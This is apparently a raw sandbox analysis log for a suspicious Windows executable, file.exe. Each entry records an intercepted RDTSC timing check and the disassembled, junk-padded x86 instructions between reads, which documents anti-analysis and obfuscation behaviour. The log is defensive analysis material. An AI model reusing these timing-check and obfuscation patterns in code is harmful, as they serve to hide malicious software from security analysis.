Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268066 second address: 1268084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007F849C4F2DA1h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268084 second address: 1268088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268088 second address: 1268094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268094 second address: 126809C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126809C second address: 12680A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12680A1 second address: 12680B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 jns 00007F849CDA41FCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B412 second address: 126B418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B418 second address: 126B41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B41C second address: 10F1B76 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F849C4F2D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 7F30098Ah 0x00000013 mov edx, dword ptr [ebp+122D2C60h] 0x00000019 push dword ptr [ebp+122D105Dh] 0x0000001f mov edx, dword ptr [ebp+122D1AFDh] 0x00000025 call dword ptr [ebp+122D2301h] 0x0000002b pushad 0x0000002c stc 0x0000002d cld 0x0000002e xor eax, eax 0x00000030 jmp 00007F849C4F2DA2h 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 sub dword ptr [ebp+122D1BB9h], edx 0x0000003f cld 0x00000040 mov dword ptr [ebp+122D2D3Ch], eax 0x00000046 pushad 0x00000047 jns 00007F849C4F2D96h 0x0000004d movsx eax, si 0x00000050 popad 0x00000051 mov esi, 0000003Ch 0x00000056 jmp 00007F849C4F2D9Ah 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f add dword ptr [ebp+122D1BFFh], edx 0x00000065 lodsw 0x00000067 mov dword ptr [ebp+122D1BF9h], edi 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 jmp 00007F849C4F2D9Fh 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a pushad 0x0000007b mov dword ptr [ebp+122D1988h], ecx 0x00000081 movzx ebx, dx 0x00000084 popad 0x00000085 sub dword ptr [ebp+122D1BB9h], ebx 0x0000008b nop 0x0000008c push eax 0x0000008d push edx 0x0000008e pushad 0x0000008f push edx 0x00000090 pop edx 0x00000091 push eax 0x00000092 pop eax 0x00000093 popad 0x00000094 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B49B second address: 126B4C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F849CDA41FFh 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B4C2 second address: 126B4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B4C6 second address: 126B52B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F849CD25978h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 jng 00007F849CD25982h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c pushad 0x0000001d jnl 00007F849CD25976h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 popad 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 pop edx 0x0000002a popad 0x0000002b pop eax 0x0000002c mov edi, dword ptr [ebp+122D2C60h] 0x00000032 push 00000003h 0x00000034 mov dword ptr [ebp+122D28E2h], edx 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D1BF1h], edx 0x00000042 push 00000003h 0x00000044 mov dword ptr [ebp+122D1C6Eh], esi 0x0000004a push DFC3D4F4h 0x0000004f jo 00007F849CD25984h 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B52B second address: 126B52F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B58B second address: 126B5D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F849CD25978h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov di, 3C6Eh 0x00000028 adc di, FBABh 0x0000002d push 00000000h 0x0000002f or dword ptr [ebp+122D1AE3h], ebx 0x00000035 call 00007F849CD25979h 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d push edi 0x0000003e pop edi 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B5D7 second address: 126B6E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CD73E65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F849CD73E58h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F849CD73E64h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b jmp 00007F849CD73E5Bh 0x00000020 jno 00007F849CD73E5Ch 0x00000026 popad 0x00000027 mov eax, dword ptr [eax] 0x00000029 pushad 0x0000002a push esi 0x0000002b pushad 0x0000002c popad 0x0000002d pop esi 0x0000002e jno 00007F849CD73E66h 0x00000034 popad 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 pushad 0x0000003a push esi 0x0000003b pushad 0x0000003c popad 0x0000003d pop esi 0x0000003e ja 00007F849CD73E5Ch 0x00000044 popad 0x00000045 pop eax 0x00000046 movzx edx, dx 0x00000049 push 00000003h 0x0000004b call 00007F849CD73E65h 0x00000050 je 00007F849CD73E5Ch 0x00000056 mov dword ptr [ebp+122D2A34h], edi 0x0000005c pop edx 0x0000005d and edi, dword ptr [ebp+122D2D60h] 0x00000063 push 00000000h 0x00000065 call 00007F849CD73E64h 0x0000006a mov dword ptr [ebp+122D17F2h], edi 0x00000070 pop esi 0x00000071 push 00000003h 0x00000073 and ecx, 65F7D520h 0x00000079 call 00007F849CD73E59h 0x0000007e jnc 00007F849CD73E6Bh 0x00000084 push eax 0x00000085 push eax 0x00000086 push edx 0x00000087 jmp 00007F849CD73E5Eh 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B6E7 second address: 126B6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289FBB second address: 1289FD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F849CD73E5Ch 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F849CD73E56h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289FD7 second address: 1289FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CD25983h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A3D9 second address: 128A3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A3E2 second address: 128A3E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A7BD second address: 128A7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A7C3 second address: 128A7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F849CD25976h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A7D4 second address: 128A7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F849CD73E5Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A7E4 second address: 128A7E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A7E8 second address: 128A7EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A7EC second address: 128A801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F849CD2597Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A801 second address: 128A83F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CD73E63h 0x00000007 jmp 00007F849CD73E66h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F849CD73E56h 0x00000019 js 00007F849CD73E56h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A83F second address: 128A848 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F099 second address: 127F09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F09D second address: 127F0D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CD25980h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F849CD25976h 0x00000013 jmp 00007F849CD25985h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F0D0 second address: 127F0E5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F849CD73E56h 0x00000008 jne 00007F849CD73E56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F0E5 second address: 127F0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F849CD25980h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255E9A second address: 1255EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255EA0 second address: 1255EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255EA6 second address: 1255EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F849CD73E66h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255EC5 second address: 1255EDB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007F849CD25976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F849CD25976h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255EDB second address: 1255EF0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jbe 00007F849CD73E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jbe 00007F849CD73E56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255EF0 second address: 1255EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F849CD25976h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B54E second address: 128B554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B554 second address: 128B560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F849CD25978h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B7F1 second address: 128B833 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F849CD73E6Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F849CD73E60h 0x00000012 jmp 00007F849CD73E5Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B833 second address: 128B85B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F849CD25980h 0x00000008 jmp 00007F849CD25983h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128BC77 second address: 128BC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F849CD73E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128BC81 second address: 128BC89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128BC89 second address: 128BCA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CD73E62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1290D59 second address: 1290D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 jo 00007F849CD25994h 0x0000000c jc 00007F849CD2597Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1290D6D second address: 1290D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1290D78 second address: 1290D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292355 second address: 1292359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E365 second address: 125E36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E36F second address: 125E373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E373 second address: 125E37C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297DEF second address: 1297DF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129823E second address: 1298272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CD25981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a ja 00007F849CD25978h 0x00000010 push esi 0x00000011 pop esi 0x00000012 push edi 0x00000013 jmp 00007F849CD2597Eh 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129851A second address: 129851E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129851E second address: 129853C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F849CD25984h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12986A0 second address: 12986A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12986A4 second address: 12986B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CD2597Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12987DF second address: 12987E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12987E5 second address: 12987FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F849CD2597Bh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A82E second address: 129A849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F849CD73E60h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129AD83 second address: 129AD89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129AD89 second address: 129AD8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B5CA second address: 129B5E7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F849CD25976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F849CD25981h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B6B8 second address: 129B6D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CD73E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B77F second address: 129B784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B8D9 second address: 129B8E3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F849CD73E5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B8E3 second address: 129B8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BC56 second address: 129BC6D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F849CD73E58h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F849CD73E56h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BC6D second address: 129BC73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BC73 second address: 129BCA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov esi, dword ptr [ebp+1244C794h] 0x00000011 xchg eax, ebx 0x00000012 push edx 0x00000013 jmp 00007F849CD73E60h 0x00000018 pop edx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jnl 00007F849CD73E56h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BCA4 second address: 129BCB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F849CD2597Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D0D1 second address: 129D0E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jo 00007F849CD73E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D0E3 second address: 129D0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D70B second address: 129D75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F849CD73E65h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e sub dword ptr [ebp+122D2EAAh], edx 0x00000014 push edi 0x00000015 call 00007F849CD73E5Ah 0x0000001a mov dword ptr [ebp+122D1AE3h], ebx 0x00000020 pop edi 0x00000021 pop edi 0x00000022 push 00000000h 0x00000024 and esi, dword ptr [ebp+122D2E8Ch] 0x0000002a push 00000000h 0x0000002c xor dword ptr [ebp+1244C7C7h], edi 0x00000032 xchg eax, ebx 0x00000033 push ecx 0x00000034 push eax 0x00000035 push edx 0x00000036 js 00007F849CD73E56h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D75C second address: 129D760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D760 second address: 129D771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 jo 00007F849CD73E5Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E1F5 second address: 129E23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 add dword ptr [ebp+1244C7C2h], edx 0x0000000f push 00000000h 0x00000011 add esi, 7A52F5A3h 0x00000017 push 00000000h 0x00000019 xchg eax, ebx 0x0000001a pushad 0x0000001b jmp 00007F849CD25983h 0x00000020 jg 00007F849CD25978h 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a je 00007F849CD25980h 0x00000030 jmp 00007F849CD2597Ah 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129FA60 second address: 129FA64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0792 second address: 12A0796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
